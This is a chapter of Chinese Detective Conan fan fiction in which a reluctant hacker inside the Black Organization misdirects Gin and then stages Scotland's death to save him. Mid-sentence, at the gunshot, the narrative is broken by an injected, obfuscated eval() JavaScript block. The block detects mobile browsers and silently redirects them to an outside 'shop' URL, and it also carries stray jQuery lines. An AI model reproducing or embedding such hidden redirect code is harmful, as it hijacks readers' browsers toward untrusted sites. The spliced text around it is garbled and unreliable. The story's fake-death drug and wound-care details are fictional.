58.我偷了你的档案
作品:《[名柯]误入酒厂后》 在茶木泽生拎着购物袋回到家的时候,屋外闷了一整周的天空有了放晴的迹象。
几丝细微的光亮挣扎着从厚重的云层中扎了出来,但很快就又被飘来的云盖了过去。
好在这场昼夜不停的雨水停了下来,伴着外面时隐时现的闷雷声,茶木泽生将自己带回来的东西一点点归类。
看着重新被填满的冰箱,茶木泽生那颗被年糕伤害到的心总算是平缓了下来。
他的目光略过了那些被堆放在角落里、看起来已经不太新鲜的食物,从新买的那份里挑了自己爱吃的那一部分。
长时间对着电脑处理数据的茶木泽生并不想选择太过于麻烦的菜式。
所有食材都被一视同仁地削皮切片,丢进了正在沸腾的锅里。
升腾起的热气,在半空中飘出一小片散着蔬菜清香的蒸汽云。
借助热量的催动,那些薄片的外表像是夏季的果皮,正在随着时间的推移而逐渐变深。
这是趋于成熟的标志,也是即将能被送入口中的信号。
然而就在茶木泽生即将能享用自己的晚餐时,一通特殊来电阻断了他接下来的动作。
看到屏幕上的那个特殊备注,茶木泽生纠结了片刻,还是按下了接通键。
“找我什么事?”
此时屋外恰巧响起一道惊雷。
这道声音不同方才的沉闷,巨大的声响仿佛宣告神秘仪式开始的礼炮,用不容拒绝的姿态向茶木泽生讲述已经发生的既定事实。
伴随着这道雷声,听清内容的茶木泽生心跳停了一拍。
他下意识地望向屋外,与雷声一同到来的还有一道闪电。
刺目的白仿佛要将整个天空劈成两半。
在这道银白的缝隙里,茶木泽生尝试了好几次,才勉强关掉了燃气。
没了多余的热量,沸腾的水面停了下来,被切成薄片的蔬菜安静地待在锅底。
与之完全相反的,是茶木泽生的内心。
锅内的水逐渐平息,而他的内心正在饱受煎熬。
茶木泽生撑在台面上的那只手止不住地发抖,那是他唯一能表现内心情绪的方式。
除此之外,绝对不能在琴酒面前展露出一丝一毫的异样。
“琴酒。”反复在心中劝告自己要冷静的茶木泽生又问了一次,“你说要我查谁?”
手中的汗滴将掌心沾湿,慌乱中,茶木泽生的指甲抠住了手机外壳的缝隙,不小心按到音量键的他又一次完整地听到了琴酒的命令。
他说:“查一下苏格兰。”
竭力让自己平静下来的茶木泽生试探地问:“好端端的,查他做什么?”
“苏格兰。”琴酒那淡漠的声音传了过来,“他是警视厅的探子。”
“现在,用最快的速度找到他的位置。”
“苏格兰是警视厅的探子?”为了获取更多的信息,茶木泽生没有挂断电话,“那他的真名是什么?”
“有真名的话会好查一些。”
在想办法拖延时间的同时,茶木泽生开始不着痕迹地从琴酒嘴里套话。
他的左手攥紧又松开,指甲一次次地刮过台面。
这个动作带来的细微疼痛奇异地为茶木泽生带来了几分安定。
他在心中反复地对自己说:
紧张、颤抖、无措……
这些情绪无法阻止灾难的发生。
冷静,唯有冷静,才能想到解决的办法。
茶木泽生,你必须冷静下来!
通话的另一端,琴酒沉默了片刻,吐出了一个带着烦躁的答案:“……不清楚。”
“对方只是偶然见过一面,唯一能确定的就是苏格兰曾在警视厅工作。”
茶木泽生瞬间将这句话抽丝剥茧,得到了藏在这些文字内部的隐秘含义。
既然只是偶然见过一面,那就说明这件事不是诸伏景光的上级、联络员、亲人、或是同期做的。
那么……这会是谁干的?
是那个来自警视厅内部的卧底吗?
茶木泽生一边思考这件事,一边装模作样的敲着键盘。
在他的帮助下,关键路段的监控不是突然“年久失修”,就是出现了技术问题。
在琴酒的耐心即将耗尽之前,茶木泽生给了他一个地址,一个离诸伏景光还有一段距离的地址。
“他去的地方很偏僻,这是我能找到的最后的影像。”
对于这个回答,琴酒显然不太满意,但他也知道,这个地址已经是技术手段的极限了。
在他即将要挂断电话时,茶木泽生问:“需要我也去现场吗?”电话另一端的声音带着恰到好处的跃跃欲试。
“随你。”
在琴酒的行动与语言体系里,不限制就等同于默认。
拿到许可的茶木泽生挂断电话,他深吸一口气,飞快地在屋内寻找一切能用得上的东西。
诸伏景光已经暴露了,对于他来说,死亡才是新的起点。
而能促成这个结局的人,只有茶木泽生。
他必须赶在所有人的前面,找到诸伏景光!
本是用于携带电子设备的背包被塞成了急救箱。
已经跑到门口的茶木泽生突然停住了脚步,犹豫片刻后他飞速折回,从冰箱里拿出了一个巴掌大的盒子。
盒子上的冷霜在触碰到空气的那一刻化作水珠,同先前粘腻的汗水混在一起,又一次沾湿了茶木泽生的掌心。
推开门的茶木泽生直奔诸伏景光而去。
与此同时,已经得知自己身份暴露的诸伏景光正避开沿路的摄像头,试图为自己寻一条生路。
在逃亡途中,人越多,得到的保护与干扰也就越多。
可那样会误伤附近的居民。
不愿意为了自己的安全而为他人带来风险的诸伏景光将逃跑路线选在了人迹罕至的郊外。
即将黑下来的天空是他最好的保护色。
起初,诸伏景光周遭还很安静,只有他奔跑时发出的声音,但不知在何时,他身后突然多出来一道呼吸。
那是一道十分急促的呼吸,听起来不太会换气,应该只是一个误打误撞找到他的外围成员。
做出基本判断的诸伏景光立即调转方向,朝着最近的一栋楼房跑了过去。
身后的那个人也紧紧地跟了上去。
这栋房子已经废弃多时,平日里人迹罕至。
那些带着决绝的脚步在金属制的楼梯上踏出一首独属于诸伏景光的死亡乐曲。
等到了天台,诸伏景光立即停下了脚步。
他把自己藏在暗处,静静等待着自己的结局。
诸伏景光想到了很多种可能,唯独没想到这一种。
来的人居然是茶木泽生,那个组织里出了名不爱出外勤的人。
枪口瞬间指向了面前人的要害。
下一秒,枪响了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397551|193917||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
但开枪的不是诸伏景光,而是茶木泽生。
腿部中弹的诸伏景光愣了一下,组织里没人会怀疑这个长期窝在大后方提供技术支持、怕血怕疼的人会开枪,就连琴酒也这么觉得。
“抱歉,请原谅我,这是最好的解决方式了。”诸伏景光听到茶木泽生这么说。
在生死之际,人能想到的事像是被压缩到极限的文件,只有那么一两件事是清晰的。
诸伏景光往后挪了几步,好让自己靠着墙,看起来不那么狼狈。
他看向茶木泽生,突然自嘲地笑了一声。
握着枪的那只手还在发抖啊。
他真是……太失职了。
居然让这个年纪的孩子堕落成这样,茶木泽生本应该待在课堂里的。
被打中的地方有点意外,是股动脉,这样一来的话死亡的过程会有点长。
不过这样也好,还能给自己留点时间去处理手机里的信息。
最起码不能连累自己的联络员。
还有零。
他不能因为自己的失误而卧底失败。
他们两个,至少要有一个人活下去。
已经心存死志的诸伏景光用仅剩的力气举起枪,准备毁掉自己的手机,
但茶木泽生说:“诸伏景光。”
在逐渐黑下来的天空下,听到这个名字的诸伏景光瞳孔一缩,偏蓝的眼睛在阴影的掩盖下,变得近乎像是浓厚的黑色。
看起来像是夜晚的大海,总是藏着无数危险与波涛。
而现在,那些危险与波涛集中在了茶木泽生身上。
大范围的失血让诸伏景光有些站不稳,他扶着墙壁,缓慢地坐了下来。
下一刻,他的枪口立即调转了方向,重新指向茶木泽生。
他们知道自己的名字了……
满脑子只剩下这一个念头的诸伏景光正要开枪,但在听到茶木泽生下一句话时,他的动作迟疑地停了下来。
茶木泽生说的是:“我偷了你的档案。”
下一句则是:“相信我,我是来帮你的。”
“你是……”诸伏景光刚想问茶木泽生是哪一方的人,但在看清他的年纪后,又问不出口了。
不会有人愿意让茶木泽生这样技术优异的人去做卧底的,除非他们集体得了失心疯。
不知道诸伏景光到底想问什么的茶木泽生丢下枪,从背包里翻出来一套止血用品。
染满血的裤腿被推了上去,纱布绕着患处缠了一圈又一圈,止血带则被绑在了腿部的近心端。
做完这些,茶木泽生又把一切复原。
但从外表看,除了血迹分布有点奇怪外,完全看不出诸伏景光的伤口已经被处理过了。
满手是血的茶木泽生叮嘱道:“每三十分钟松一次压,每次一到两分钟。”
“你还有什么事情要说的吗?”茶木泽生拿出了那个临出门前才带出来的盒子。
里面装的东西不多,只有一份被真空密封的药剂和一份未拆封的医用针筒。
药剂是宫野志保友情赠送的那一份,可以让人的心脏停止跳动五分钟。
枪伤的位置是茶木泽生特意选的地方,其它部位都太危险了,只有股动脉破裂的可控性比较高。
只要没人干扰,这个时间完全足够制造出诸伏景光的死亡假象。
这是茶木泽生临出门前想到的,唯一能让诸伏景光活下去的办法。

